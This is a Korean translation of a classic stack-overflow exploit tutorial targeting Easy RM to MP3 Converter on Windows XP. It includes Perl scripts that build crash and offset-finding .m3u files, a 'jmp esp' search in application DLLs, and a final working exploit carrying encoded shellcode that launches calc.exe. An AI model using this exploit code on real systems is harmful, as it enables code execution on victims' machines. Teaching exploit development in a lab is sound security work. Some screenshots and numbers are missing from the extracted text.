Microsoft Word - Exploit writing tutorial part 1.doc

Size: px
Start display at page:

Download "Microsoft Word - Exploit writing tutorial part 1.doc"

Transcription

1 Exploit writing tutorial part 1: Stack Based Overflows 1 By Peter Van Eeckhoutte 편역 : vangelis(vangelis@s0f.org) 2009년 7월 17일, Crazy_Hacker 라는닉을가진사람이패킷스톰을통해 Easy RM to MP3 Converte에존재하는취약점 ( 을발표했다. 그취약점보고서에는 proof of concept이있었는데필자의 MS Virtual PC 기반의 XP SP3 En에서는작동하지않았다. 얼마후다른하나의 exploit( 이공개되었다. 그러나그 PoC exploit 코드를복사하여실행시켜보면그것이작동하지않는다는것을알수있을것이며, 그리고만약제대로작동하지않는다면그 exploit 두개를만드는과정을이해하려고노력한다면그제대로먹히지않는 exploit을수정하거나또는여러분자신의 exploit을만들수있을지도모른다. 필자가오늘그취약점보고서와 exploit을보았을때 exploit을작성하는데대한기초를설명하는완벽한예가될수있다는것을알게되었다. 앞에서언급한취약점보고서에도 exploit이들어가있지만그 exploit을사용하지는않을것이며, Easy RM to MP3 conversion utility 에존재하는취약점을하나의예로만사용할것이고, 제대로작동하는 exploit을만드는과정을설명할것이다. 그보고서에는 Easy RM to MP3 Converter version universal buffer overflow exploit that creates a malicious.m3u file 와같이취약점에대해언급하고있다. 이것은악의적인.m3u 파일을만들어해당유틸리티에 feed시켜공격을할수있다는것을의미한다. 취약점확인 1 ( 편역자주 ) 이문서는편역자의개인공부과정에서만들어진것입니다. 그래서원문의내용중일부가빠져있거나추가되어있을수있습니다. 원문의전체내용에대해서는원문을참고하길권장합니다. 그리고 에서관련논의가진행되고있으니참고하십시오. 이글은원문을무조건적으로번역하지는않을것이며, 실제테스트는역자의컴퓨터에서이루어진것입니다. 그러나원문의가치를해치지않기위해원문의내용과과정에충실할것입니다. 이글에잘못된부분이나오자가있을경우지적해주십시오.

2 먼저 Easy RM to MP3 Converter 프로그램이조작된 m3u 파일을열때 crash되는지확인해보자. 테스트를위해먼저 Easy RM to MP3 Converter를다운받고 Windows XP에설치한다. 보안권고문에서는 exploit이 XP SP2(English) 에서작동한다고언급하고있지만필자는 XP SP3(English) 를사용한다. 테스트를위해사용한역자의시스템은다음과같다. 관련취약점에대한더많은정보를얻기위해.m3u 파일을만드는다음과같은 perl 스크립트를사용할것이다. 2 my $file= "crash.m3u"; my $junk= "\x41" x 10000; open($file,">$file"); print $FILE "$junk"; close($file); print "m3u File Created successfully\n"; Perl 스크립트를실행하면 crash 라는 m3u 파일이생성된다. Easy RM to MP3 Converter 로 crash.m3u 파일을로딩하면다음과같이에러가발생한다. 2 역자는 에서 ActivePerl을다운받아 Windows에서쉽게 perl을사용할수있게했다.

3 그러나이에러창을내려보면다음과같이 Easy RM to MP3 Converter가 crash되지는않고에러를핸들링하고있음을볼수있다. A를 20,000개로조정해서실행하면역시위와같은결과가나온다. 아직까지는뭔가의미있는공격을하지못한것이다. 그래서 A를 30,000개로조정하면다음과같은결과가나온다. 정확하게는 20,672개일때어플리케이션이 crash된다. 그렇다면이정보를이용해무엇을할수있는가?

4 취약점확인 그리고그취약점이흥미로운것인지확인 분명모든어플리케이션의 crash가공격으로이어지지는않으며, 대부분어플리케이션의 crash는 의미있는공격으로이어지지는않는다. 공격으로이어지는경우는아주드물다. 여기서 공격 이란 공격자 자신의 공격 코드를 실행하는 것과 같은 공격 대상이 되고 있는 어플리케이션이의도하지않은어떤것을할수있게하는것을의미한다. 어플리케이션이뭔가 다른어떤것을하도록만드는가장쉬운방법은어플리케이션의흐름을통제하는것이다. 이것은보통다음에실행될명령 (instruction) 이위치한포인터를가진 CPU 레지스터인 instruction pointer( 또는 program counter) 를통제하는것이다. 어떤어플리케이션이파라미터를가진함수를호출한다고가정해보자. 그함수를호출하기전에 instruction pointer( 대부분의경우 4 바이트크기의 eip 레지스터인경우가많다 ) 에현재위치를저장한다. 그래야함수호출을한후그함수의작업을마치고다음에갈위치를알수있기때문이다. 만약이포인터에저장된값을변경하여공격자의코드가있는메모리위치를가리키게한다면어플리케이션의흐름을변경하여공격자가의도한뭔가를할수있게할수있다. 어플리케이션의흐름을통제한후실행되기를바라는공격자의코드는일반적으로쉘코드 (shellcode) 인경우가많다. 그래서만약어플리케이션이그쉘코드를실행하게되면그 exploit은 제대로작동하는쓸만한 것이라고할수있다. 몇가지알아야할것들 본격적인학습에들어가기전에먼저알아야할것이메모리에대한것들이다. 메모리는다음 3 가지부분으로나눌수있다. code segment ( 프로세서가실행하는명령. EIP는다음명령의트랙을가지고있음 ) data segment ( 변수들, 동적버퍼 ) stack segment ( 함수에데이터나아규먼트를전달하기위해사용되며, 변수들을위한공간으로사용된다. Stack은 page의가상메모리의끝에서부터시작 ( 스택의바닥 ) 하여아래로자란다. Push는스택의꼭대기에뭔가를추가하고, pop은스택으로부터하나의아이템 (4 바이트 ) 을제거한다. 만약스택메모리에직접적으로접근하기를원한다면스택의꼭대기 ( 가장낮은메모리주소 ) 를가리키는 ESP(stack pointer) 를사용할수있다. Push 이후 ESP는더낮은메모리주소를가리킨다 ( 주소는스택에 push된데이터의크기와비례해서감소하며, 주소와포인터의경우 4 바이트씩이다 ). 주소는어떤아이템이스택에위치하기전에감소한다 ( 그러나이것은구현에따라다른데, 만약 ESP가이미스택상의다음여유위치를가리킨다면주소는스택에데이터를위치시킨후감소한다 ).

5 POP 이후, ESP는더높은주소를가리킨다 ( 주소는증가하며, 주소나포인터의경우역시 4바이트씩이다 ). 주소는스택으로부터어떤아이템이제거된이후증가한다. 만약함수나서브루틴 (subroutine) 이들어가게되면 stack frame이만들어진다. 이프레임은부모프로시저의파라미터들도같이유지하며, 서브루틴에아규먼트를전달하는데사용된다. 스택의현재위치는 ESP를통해접근이가능하며, 함수의현재 base는 EBP(base pointer 또는 frame pointer) 에저장되어있다. CPU 의범용레지스터들은다음과같다 (Intel, x86 기준 ). EAX: accumulator: 계산을위해사용되며, 함수호출의리턴값을저장한다. 더하기, 빼기, 비교등과같은기본적인연산은이범용레지스터를사용한다. EBX: base(base pointer와관련없음 ). 범용성은없으며, 데이터를저장하는데사용될수있다. ECX: counter: 반복을위해사용되며, 아래쪽으로카운트한다. EDX: data: 이것은 EAX 레지스터의확장이며, 더복잡한계산 ( 곱하기, 나누기 ) 을가능하게한다. ESP: stack pointer EBP: base pointer ESI: source index: 입력데이터의위치를가지고있음 EDI: destination index: 데이터연산결과가저장되는위치를가리킴 EIP : instruction pointer 프로세스메모리맵은다음과같다. (bottom of memory) >.text (code) (low addresses).data.bss

6 heap malloc ed data v heap (grows down) top of the heap UNUSED MEMORY top of the stack ^ stack (grows up) main() local vars argc **argv **envp cmd line arguments environment vars bottom of the stack high addresses(top of memory) > (0xFF000000)

7 Text segment는읽기전용이며, 어플리케이션코드만을가지고있다. 읽기전용은어플리케이션의코드를수정하는것을막아준다. 이메모리세그먼트는고정된크기를가지고있다. Data 및 bss 세그먼트는전역변수와정적변수를저장하는데사용된다. Data 세그먼트는초기화된전역변수, 문자열, 그리고다른상수들을위해사용된다. Bss 세그먼트는초기화되지않은변수를위해사용된다. Data 및 bss 세그먼트는쓰기가가능하며, 고정된크기를가지고있다. Heap 세그먼트는나머지변수들을위해사용되는데, 바라는만큼더커지거나더작아질수있다. Heap 영역에서모든메모리는 allocator와 deallocator 알고리즘에의해관리된다. Heap은아래쪽 ( 더높은메모리주소 ) 으로자란다. Stack은 LIFO(last in first out) 구조를가진데이터구조체이다. 이는가장최근에 push된데이터가스택으로부터가장먼저 pop된다는것을의미한다. 스택은로컬변수, 함수호출, 오랫동안저장될필요가없는다른정보들을가지고있다. 더많은데이터가스택에추가될수록그데이터는점차더낮은주소값에추가된다. 함수가호출될때마다그함수의파라미터들와 ebp, eip와같은레지스터의저장된값은스택에 push된다. 함수가리턴하면 eip의저장된값이스택으로부터 pop되어다시 eip에위치하게되며, 그래서일반적인어플리케이션의흐름이재개된다. 즉, 함수 do_something(param1) 이호출되면다음과같은과정이일어난다. *param1를 push ( 모든파라미터들을스택상에서뒤쪽으로 push) 함수 do_something을호출. 다음일들이이제일어난다 : - push EIP ( 원래위치로리턴할수있음 ) - EBP를 push(ebp를스택에저장 ) 하는 prolog 과정. 이것은스택상의값들을참조하기위해 EBP를변경해야하기때문에필요하다. 이것은 EBP에 ESP를위치시킴으로서이루어진다. 이럴경우 EBP는스택의꼭대기가되고, 현재어플리케이션의프레임에서스택상의모든것을쉽게참조할수있다. 마지막으로, 로컬변수 ( 데이터배열 ) 들은스택에 push된다. 이문서에서는예로서 do_something::buffer[128] 을사용한다. 특정함수의작업이끝나면전체흐름은 main 함수로돌아온다. 메모리맵 :.text

8 .data.bss Top of Stack. ESP points to do_something::buffer[128] begin of do_something::buffer[128] saved EBP saved EIP ptr to param1 main() local vars Bottom of stack envp, argv, etc 버퍼오버플로우를야기시키기위해 do_something::buffer 공간 ( 이것은실제파라미터데이터이고, param1에대한 ptr 이가리키는곳이다 ), 저장된 EBP, 그리고최종적으로저장된 EIP의값을덮어쓸필요가있다. Buffer+EBP+EIP를덮어쓴이후스택포인터는저장된 EIP 다음위치를가리킬것이다. 함수 do_something이리턴하면 EIP는스택으로부터 pop되고, 버퍼오버플로동안설정한값을가지게된다. EBP도마찬가지의값을가질것이다. 간단히말해서, EIP를통제함으로써함수가 정상적인흐름을재개 하기위해사용할리턴어드레스를변경할수있다. 물론이리턴어드레스를변경한다면그것은더이상 정상적인흐름 은아니다. 만약 buffer, EBP, EIP를덮어쓰고, 그래서 param1에대한 ptr이있는위치 ( 덮어쓰기를할때 ESP가가리키는곳 ) 에공격자의코드를놓을수있다면어떻게될것인가? 공격자가 buffer([buffer][ebp][eip][ 공격자코드 ]) 를보내면 ESP는 [ 공격자코드 ] 의시작부분을가리킬것이다. 만약공격자가 EIP가공격자의코드로갈수있게한다면공격자는통제권을쥐게되는것이다.

9 스택의상태를보기위해우리는어플리케이션에디버거 (debugger) 를연결해야한다. 이목적을위해사용할수있는많은디버거들이있는데, Windbg, OllyDbg, Immunity Debugger, 그리고 PyDBG 등이다. 먼저 Windbg를사용해보자. 먼저설치를하고 windbg I 를이용해 post-mortem 디버거 3 로등록하자. 3 ( 역자주 ) 이기능을사용할경우어플리케이션에문제가발생한후그문제점에대해사후분 석이가능하다.

10 다음레지스터리키를설정함으로써 xxxx has encountered a problem and needs to close 와같은팝업을비활성화할수있다 : HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto: set to 0 Windbg가 Symbol files not found 와같은메시지를보이면하드드라이브에폴더를하나만든다 ( c:\windbgsymbols 라고하자 ). 그런다음, Windbg에서 File로가서 Symbol File Path를클릭한후다음문자열을입력한다. SRV*C:\windbgsymbols* 자이제시작해보자. Easy RM to MP3 Converter를실행한후 crash.m3u 파일을로딩하면어플리케이션이 crash되면서 Windbg가다음과같이실행된다.

11 위의결과를보면 eip가 임을볼수있다. 참고로인텔 x86에서주소는 littleendian으로저장되어있기때문에역순으로배열된다. 만약 AAAA가아니라 DCBA를사용했다면 로보일것이다. 우리가만든 crash.m3u 파일이버퍼안으로읽혀버퍼가오버플로우되는것처럼보인다. 버퍼를오버플로우시켜 eip에쓰기를했으며, 이로서우리는 EIP의값을통제할수있는것같다. 이런형태의취약점을흔히 stack overflow 라고부른다. 이제확인해볼것은정확하게 EIP 를덮어쓰기위해공격자의버퍼가얼마나큰지알필요가있다. 정확한 EIP 덮어쓰기를위한버퍼사이즈확인하기 우리는 EIP가버퍼의시작부분에서부터 20,000에서 30,000 사이의어딘가에위치하고있다는것을알고있다. 이제 EIP를우리가덮어쓰고자원하는주소로 20,000에서 30,000 바이트사이의모든메모리공간을우리는잠재적으로덮어쓸수있다. 정확하지않아도충분한공격데이터로 EIP를덮어쓸수있지만정확하게덮어쓸위치를알면더좋을것이다. 버퍼에서정확한오프셋을알아내기위해추가작업이필요하다. 먼저 test.pl 스크립트를수정하여위치범위를좁혀나가보자. 수정한스크립트는 25,000개의 A와 5,000개의 B를가지고있다. 만약 EIP가 (AAAA) 를가지고있다면 EIP는 20,000 ~ 25,000개사이에있을것이고, EIP가 (BBBB) 를가지고있다면 25,000 ~ 30,000 사이에있을것이다. my $file= "crash25000.m3u"; my $junk = "\x41" x 25000; my $junk2 = "\x42" x 5000; open($file,">$file"); print $FILE $junk.$junk2; close($file); print "m3u File Created successfully\n"; 차례대로다시작업을시작해보자.

12 결과는보면 eip가 (BBBB) 를가지고있고, 그래서우리는 EIP가 25,000 ~ 30,0000 사이의 offset을가지고있음을알수있다. 이것은나머지 B가 ESP가가리키는곳어딘가에있다는것을의미한다. 이것을간단한도식으로나타내면다음과같다.

13 Buffer : [ 5000 개의 B ] [AAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB][BBBB][BBBBBBBBB...] 개의 A EIP ESP points here ESP 의내용을덤프해보자 : 이결과는보면 (BBBB) 로 EIP를덮어썼으며, ESP에서공격자가입력한버퍼를볼수있다. 스크립트를일부수정하기전에 EIP를덮어쓸버퍼에서의정확한위치를발견할필요가있다. 그정확한위치를발견하기위해 Metasploit을사용할것이다. Metasploit은오프셋을계산하는데도움이되는좋은툴 pattern_create.rb를가지고있다. 이툴은유일한패턴을가진문자열을생성한다. 이패턴 ( 그리고공격자가사용하는악의적인.m3u 파일에서의패턴을이용한이후 EIP의값 ) 을이용해우리는정확하게 EIP에쓰기위해버퍼의크기가얼마나되어야하는지알수있다. 먼저 5,000개의문자로된하나의패턴을만들어

14 파일로쓴다 ( 역자는 Windows XP에 Metasploit 3을설치하였으며, Cygwin Shell을이용해다음과같이실행했다 ). 위의결과를아래스크립트에적용한다. my $file= "crash25000.m3u"; my $junk = "\x41" x 25000; my $junk2 = Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa... ; open($file,">$file"); print $FILE $junk.$junk2; close($file); print "m3u File Created successfully\n"; 이스크립트를실행하여.m3u 파일을만들고, Easy RM to MP3 Converter를이용해로딩한다. 로딩하면다음과같은결과가나온다.

15 이번에는 eip 가 0x42376a42 이다. 이제 EIP에쓰기전에버퍼의정확한길이를계산하기위해 metasploit의툴 pattern_offset.rb를사용하고, 패턴파일에기초를두고 EIP의값과버퍼의길이를제공한다. 결과를보면 EIP를덮어쓰기위해필요한버퍼의길이는 1071이다. 그래서 25, 개의 A와 4개의 B( ) 를가진파일을만들면 EIP의값은 가될것이다.

16 그리고 ESP는우리가제공한버퍼로부터의데이터를가리키고, 이를확인해보기위해 EIP를덮어쓴이후약간의 C 문자를추가할것이다. 스크립트를다음과같이수정해보자. my $file= "eipcrash.m3u"; my $junk= "A" x 26071; my $eip = "BBBB"; my $espdata = "C" x 1000; open($file,">$file"); print $FILE $junk.$eip.$espdata; close($file); print "m3u File Created successfully\n"; 아래의결과를보면 eip는 이고, esp에는 C가들어가있다. 이제는 EIP를통제할수있다는것을알수있다.

17 여태까지우리의 exploit buffer 를보면다음과같다 : Buffer EBP EIP ESP 가가리키는지점 V A (x 26067) AAAA BBBB CCCCCCCCCCCCCCCCCCCCCCCC 바이트 4 바이트 4 바이트 1000 바이트? 이제스택의모양은다음과같다 :.text.data.bss AAAAAAAAAAAAAAAAA Buffer AAAAAAAAAAAAAAAAA do_something::buffer[128] (26067 A s) (now overwritten) AAAA saved EBP (now overwritten) BBBB saved EIP (now overwritten) -> ESP points here CCCCCCC ptr to param1 (now overwritten)

18 main() local vars Bottom of stack envp, argv, etc 함수가리턴 (RET) 할때 BBBB가 EIP에들어가고, 프로그램의흐름은 라는주소 (EIP의값 ) 로리턴하려고할것이다. 쉘코드를저장할메모리공간찾기 공격자가 EIP를통제할수있게되면공격자의의도를실행할쉘코드를가진곳을 EIP가가리키도록할수있게된다. 그렇다면어디에공격자의쉘코드를넣고, 어떻게그위치로 EIP가점프하게만들수있는가? 앞에서공격대상이되는프로그램이 crash할때레지스터들을살펴보고덤프를해보아라 (Windbg에서는 d eax 와같이함 ). 만약우리가입력한버퍼데이터를그레지스터들중하나에서볼수있다면쉘코드로그것을대체할수있으며, 그위치로점프할수있다. 앞의예에서우리는 ESP에 C 문자값이들어가있는것을볼수있었고, 여기에 C 문자대신쉘코드를넣어 EIP가 ESP의주소로가게할것이다. C 를볼수있음에도불구하고첫번째 C(0x000ff730에있는것 ) 가버퍼에우리가입력한첫번째 C 라는것을확신할수가없다. 그래서펄스크립트를조금수정하여테스트할것이며, 앞에서사용한 C 대신 144개의문자들을사용할것이다. 아직이문자들은아무런의미가없다. my $file= "test1.m3u"; my $junk= "A" x 26071; my $eip = "BBBB"; my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK". "5ABCDEFGHIJK6ABCDEFGHIJK". "7ABCDEFGHIJK8ABCDEFGHIJK". "9ABCDEFGHIJKAABCDEFGHIJK". "BABCDEFGHIJKCABCDEFGHIJK"; open($file,">$file"); print $FILE $junk.$eip.$shellcode; close($file);

19 print "m3u File Created successfully\n"; 어플리케이션 crash 되었을때 ESP 위치의메모리를덤프해보자. 위의결과에서 2 가지흥미로운점을볼수있다. ESP는 $shellcode에사용된문자들중 5번째에서시작되고, 첫번째문자가아니다. 이에대한이유는

20 패턴문자열다음에 A 값들이있는것을볼수있다. 이 A들은대부분버퍼의첫부분에속하며, 그래서우리는 RET을덮어쓰기전에우리의쉘코드를버퍼의첫부분에넣을수도있다. 하지만아직은이방법을사용하지는말자. 먼저패턴문자열앞에 4개의문자들을추가하고테스트를다시해보자. 만약모든것이정상이라면 ESP는이제직접우리가제공한패턴의시작부분을가리킬것이다. my $file= "test1.m3u"; my $junk= "A" x 26071; my $eip = "BBBB"; my $preshellcode = "XXXX"; my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK". "5ABCDEFGHIJK6ABCDEFGHIJK". "7ABCDEFGHIJK8ABCDEFGHIJK". "9ABCDEFGHIJKAABCDEFGHIJK". "BABCDEFGHIJKCABCDEFGHIJK"; open($file,">$file"); print $FILE $junk.$eip.$preshellcode.$shellcode; close($file); print "m3u File Created successfully\n"; 어플리케이션 crash 되었을때 ESP 위치의메모리를다시덤프해보자.

21 이제우리는다음과같은결과를가지게되었다. EIP 에대한통제권 우리의코드를쓸수있는공간 0x000ff730 에서시작하는우리의코드를직접적으로가리키는레지스트 이제는우리는다음과같은것이필요하다. 진짜공격용쉘코드 EIP 가쉘코드의시작주소로점프하도록함 (0x000ff730 으로 EIP 를덮어씀 ) 이제작은테스트를해보자. 먼저 26,071개의 A를사용하고, 그런다음 000ff730으로 EIP를덮어쓰며, 그럼다음 25개의 NOP을입력하고, 그런다음브레이크, 그런다음추가 NOP을입력한다. 만약모든것이정상이라면 EIP는 NOP을가진 0x000ff730으로점프할것이다. 그런다음코드는브레이크까지이동한다. my $file= "test1.m3u"; my $junk= "A" x 26071; my $eip = pack('v',0x000ff730); my $shellcode = "\x90" x 25; $shellcode = $shellcode."\xcc"; $shellcode = $shellcode."\x90" x 25; open($file,">$file"); print $FILE $junk.$eip.$shellcode; close($file); print "m3u File Created successfully\n"; 어플리케이션이 crash된다음우리는 access violation 대신 break를예상했다. EIP를보면다음과같이 0x000ff730을가리키고, ESP도마찬가지다. ESP를덤프해보면우리가예상한것을볼수가없다.

22 그래서어떤메모리주소로직접점프하는것은좋은솔루션이아닐수있다. 0x000ff730은 null 바이트를가지고있으며, 이는흔히말하는 string terminator라서원하는지점까지도달하지못해공격에실패하게한다. 요약하자면, 0x000ff730과같은직접적인메모리로 EIP를덮어쓸수없다. 그것은좋은생각이아니다. EIP를덮어쓰기위해다른테크닉을사용해야하는데, 그것은어플리케이션이우리가제공한코드로점프하게만드는것이다. 이상적으로, 우리는레지스터 ( 또는레지스터에대한오프셋 ) 를참조할수있어야하며 ( 현재경우 ESP), 그레지스터로점프하는함수를찾아야한다. 그런다음우리는그함수의주소로 EIP를덮어쓰려고시도할것이다. 쉘코드로점프 우리는 ESP가가리키는곳에정확하게우리의쉘코드를넣을수있었다 ( 다른시각으로보면, ESP는쉘코드의시작부분을직접적으로가리킨다 ). ESP의주소로 EIP를덮어쓰는이유는어플리케이션이 ESP로점프하여쉘코드를실행하기를원하기때문이다. ESP로점프하는것은 Windows 어플리케이션에서는아주흔한것이다. 사실, Windows 어플리케이션은하나또는그이상의 dll을사용하며, 이 dll은많은코드명령을가지고있다. 그리고이 dll에의해사용되는주소들은아주정적이다. 그래서만약우리가 esp로점프하는명령을가진 dll을발견할수있다면, 그리고만약우리가그 dll에있는그명령의주소로 EIP를덮어쓸수있다면그것이제대로작동할까?

23 먼저, 우리는 jmp esp 의 opcode가무엇인지이해할필요가있다. 이를위해먼저 Easy RM to MP3를실행하고, 그런다음 Windbg를오픈하여프로세스에 attach시킨다. 이렇게할경우 Windbg는실행중인프로세스의 PID와함께목록을보여준다. 그런다음 Process ID: 부분에 PID를입력하고 OK를누르면해당어플리케이션에의해로딩된모든 dll들을보여준다. 프로세스에디버거를 attach 하자마자해당어플리케이션은 break한다. Windbg 명령라인에서 a(assemble) 를입력하여엔터키를입력하고, 그런다음 jmp esp를입력하여엔터키를누른다.

24 다시엔터키를누르고, 그다음 jmp esp를입력하기전에보였던그주소와함께 u(unassembled) 를입력하고엔터한다. 7c93120e 옆에 ffe4를볼수있는데, 이것은 jmp esp의 opcode이다. 이제우리는로딩된 dll들중의하나에서이 opcode를발견할필요가있다. Windbg 창의윗부분에서 Easy RM to MP3에속하는 dll을나타내는라인들을찾는다. 만약이 dll들중의하나에서 jmp esp의 opcode를발견할수있다면우리는 Windows 플랫폼에서작동할수있는 exploit을만들좋은기회를가지는것이다. 만약 OS에속하는 dll을사용할필요가있다면해당 OS의다른버전에서는그 exploit이작동하지않는다는것을보게될

25 것이다. 그래서 Easy RM to MP3 dll들의영역을하나씩확인해보자. 확인방법은다음과같이입력하면된다. s 01b70000 l 01be1000 ff e4 (s 와 l 사이에있는주소는 dll 이로딩되어있는주소범위 ) 먼저 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll 영역부터차례대로찾아보자. 이 dll은 ~ 사이에로딩되어있다. 이영역에서 ff e4 를찾아보자. 결과를보면 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll 영역에서우리가원하는 opcode를찾을수있었다 ( 역자는원문과다르게처음부터찾기시작했으며, 적당한 opcode를찾은후나머지부분은찾아보지않았다 ). 우리가활용할주소를선택할때 null 바이트들어가있지않는주소를찾아야한다. 앞에서도말했지만 null 바이트는문자열 terminator이기때문에 null 바이트이후의코드는쓸모없는것이되기때문이다. 디버거를이용하지않고 findjmp 프로그램 4 을이용하면우리가원하는각종 opcode를쉽게찾을수있다. 사용법은 findjmp dll 파일레지스터 와같으며, 다음은그예이다. findjmp kernel32.dll esp 4 ( 역자주 ) 에있는소스를컴파일하여 사용하면된다.

26 Easy RM to MP3 Converter 의 MSRMCcodec02.dll 에서 jmp esp 를찾아보면다음과같다. ( 역자추가 : 관련 opcode 관련해서 metasploit opcode database와 memdump 등에대해언급하고있는데, metasploit opcode database는현재오프라인상태이다. memdump에대해서는이시리즈의다음호참고 ) 우리가 ESP(EIP를덮어쓴후공격에사용되는 payload 문자열에위치한 ) 에우리의쉘코드를넣기를원하기때문에우리가사용할 jmp esp 주소는 null 바이트를가지고있으면안된다. 만약이주소가 null 바이트를가진다면우리는 null 바이트를가진주소로 EIP를덮어쓰게되는것이다.

27 어떤경우 null 바이트로시작하는주소를사용해도문제가없을때가있다. 만약그주소가 null 바이트로시작하지만 little endian 때문에그 null 바이트는 EIO 레지스터에서마지막바이트가될수있다. 그래서만약 EIP를덮어쓴후어떤 payload를보내지않는다면 ( 그래서만약쉘코드가 EIP를덮어쓰기전에넣어져레지스터를통해여전히도달할수있어 ) 이것은제대로작동한다. 여기서는쉘코드를가지고있기위해 EIP를덮어쓴후 payload를사용할것이며, 그래서그주소는 null 바이트를가지고있어서는안된다. 사용할첫주소 : 0x01eaf23a 이주소가 jmp esp를가지고있는지확인해보자 ( 그래서 01eaf23a에있는명령을 unassemble한다 ). 만약 EIP를 0x01eaf23a로덮어쓸경우 jmp esp가실행될것이다. ESP는쉘코드를가지고있어제대로작동하는 exploit을가지게된것이다. NOP & break 쉘코드로테스틀해보자. my $file= "test1.m3u"; my $junk= "A" x 26071; my $eip = pack('v',0x01eaf23a); my $shellcode = "\x90" x 25; $shellcode = $shellcode."\xcc"; #this will cause the application to break, simulating shellcode, but allowing you to further debug $shellcode = $shellcode."\x90" x 25;

28 open($file,">$file"); print $FILE $junk.$eip.$shellcode; close($file); print "m3u File Created successfully\n"; 어플리케이션은 000ff745에서 break하는데, 이는첫번째 break의위치이다. 그래서 jmp esp는제대로작동한다 (esp는 000ff730에서시작하고, 000ff744까지는 NOP으로차있다. 이제우리가해야할것은실제쉘코드를넣고, exploit을완성하는것이다. 최종 exploit 완성하기 Metasploit는쉘코드를만드는데도움이되는 payload 생성기를가지고있다. Payload는다양한옵션을가지고있는데, 경우에따라그크기가조정될수있다. 버퍼공간때문에크기에제한이있다면다단계쉘코드가필요하거나또는 XP sp2 en용 32바이트 cmd.exe 쉘코드 5 가필요할것이다. 또는쉘코드를작은 egg 로쪼개서 6 그것을실행하기전에쉘코드를다시모으는 egghunting 기술을사용할수있다

29 여기서먼저계산기프로그램을실행하도록하는 exploit을만들기로하고, 이에해당하는쉘코드를 Metasploit을이용해만들어보자 ( 역자추가 : 먼저 Metasploit Web을실행하여다음과같이만들어본다 ). 위의설정대로생성한쉘코드는다음과같다. 이제만들어진쉘코드를아래와같이정리한다.

30 # windows/exec 227 bytes # # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc.exe my $shellcode = "\xba\x8f\x6e\xc7\xbc\xd9\xeb\xd9\x74\x24\xf4\x5e\x31\xc9". "\xb1\x33\x83\xee\xfc\x31\x56\x0e\x03\xd9\x60\x25\x49\x19". "\x94\x20\xb2\xe1\x65\x53\x3a\x04\x54\x41\x58\x4d\xc5\x55". "\x2a\x03\xe6\x1e\x7e\xb7\x7d\x52\x57\xb8\x36\xd9\x81\xf7". "\xc7\xef\x0d\x5b\x0b\x71\xf2\xa1\x58\x51\xcb\x6a\xad\x90". "\x0c\x96\x5e\xc0\xc5\xdd\xcd\xf5\x62\xa3\xcd\xf4\xa4\xa8". "\x6e\x8f\xc1\x6e\x1a\x25\xcb\xbe\xb3\x32\x83\x26\xbf\x1d". "\x34\x57\x6c\x7e\x08\x1e\x19\xb5\xfa\xa1\xcb\x87\x03\x90". "\x33\x4b\x3a\x1d\xbe\x95\x7a\x99\x21\xe0\x70\xda\xdc\xf3". "\x42\xa1\x3a\x71\x57\x01\xc8\x21\xb3\xb0\x1d\xb7\x30\xbe". "\xea\xb3\x1f\xa2\xed\x10\x14\xde\x66\x97\xfb\x57\x3c\xbc". "\xdf\x3c\xe6\xdd\x46\x98\x49\xe1\x99\x44\x35\x47\xd1\x66". "\x22\xf1\xb8\xec\xb5\x73\xc7\x49\xb5\x8b\xc8\xf9\xde\xba". "\x43\x96\x99\x42\x86\xd3\x58\xb2\x1b\xc9\xcd\x6d\xce\xb0". "\x93\x8d\x24\xf6\xad\x0d\xcd\x86\x49\x0d\xa4\x83\x16\x89". "\x54\xf9\x07\x7c\x5b\xae\x28\x55\x38\x31\xbb\x35\x91\xd4". "\x3b\xdf\xed"; 이제만들어진쉘코드를펄스크립트안에넣는다. # Exploit for Easy RM to MP vulnerability, discovered by Crazy_Hacker # Written by Peter Van Eeckhoutte ( 수정 : vangelis) # # Greetings to Saumil and SK : ) # # tested on Windows XP SP2 (KO) 원문은 XP SP3 (EN) 이었음 # my $file= "exploitrmtomp3.m3u"; my $junk= "A" x 26071; my $eip = pack('v', 0x01eaf23a); #jmp esp from MSRMCcodec00.dll( 역자의시스템 ) my $shellcode = "\x90" x 25; # # windows/exec 227 bytes # # Encoder: x86/shikata_ga_nai

31 # EXITFUNC=seh, CMD=calc.exe $shellcode = $shellcode. "\xba\x8f\x6e\xc7\xbc\xd9\xeb\xd9\x74\x24\xf4\x5e\x31\xc9". "\xb1\x33\x83\xee\xfc\x31\x56\x0e\x03\xd9\x60\x25\x49\x19". "\x94\x20\xb2\xe1\x65\x53\x3a\x04\x54\x41\x58\x4d\xc5\x55". "\x2a\x03\xe6\x1e\x7e\xb7\x7d\x52\x57\xb8\x36\xd9\x81\xf7". "\xc7\xef\x0d\x5b\x0b\x71\xf2\xa1\x58\x51\xcb\x6a\xad\x90". "\x0c\x96\x5e\xc0\xc5\xdd\xcd\xf5\x62\xa3\xcd\xf4\xa4\xa8". "\x6e\x8f\xc1\x6e\x1a\x25\xcb\xbe\xb3\x32\x83\x26\xbf\x1d". "\x34\x57\x6c\x7e\x08\x1e\x19\xb5\xfa\xa1\xcb\x87\x03\x90". "\x33\x4b\x3a\x1d\xbe\x95\x7a\x99\x21\xe0\x70\xda\xdc\xf3". "\x42\xa1\x3a\x71\x57\x01\xc8\x21\xb3\xb0\x1d\xb7\x30\xbe". "\xea\xb3\x1f\xa2\xed\x10\x14\xde\x66\x97\xfb\x57\x3c\xbc". "\xdf\x3c\xe6\xdd\x46\x98\x49\xe1\x99\x44\x35\x47\xd1\x66". "\x22\xf1\xb8\xec\xb5\x73\xc7\x49\xb5\x8b\xc8\xf9\xde\xba". "\x43\x96\x99\x42\x86\xd3\x58\xb2\x1b\xc9\xcd\x6d\xce\xb0". "\x93\x8d\x24\xf6\xad\x0d\xcd\x86\x49\x0d\xa4\x83\x16\x89". "\x54\xf9\x07\x7c\x5b\xae\x28\x55\x38\x31\xbb\x35\x91\xd4". "\x3b\xdf\xed"; open($file,">$file"); print $FILE $junk.$eip.$shellcode; close($file); print "m3u File Created successfully\n"; 이제 exploit 이만들어졌다. Exploit 을어플리케이션을통해로딩해보자.
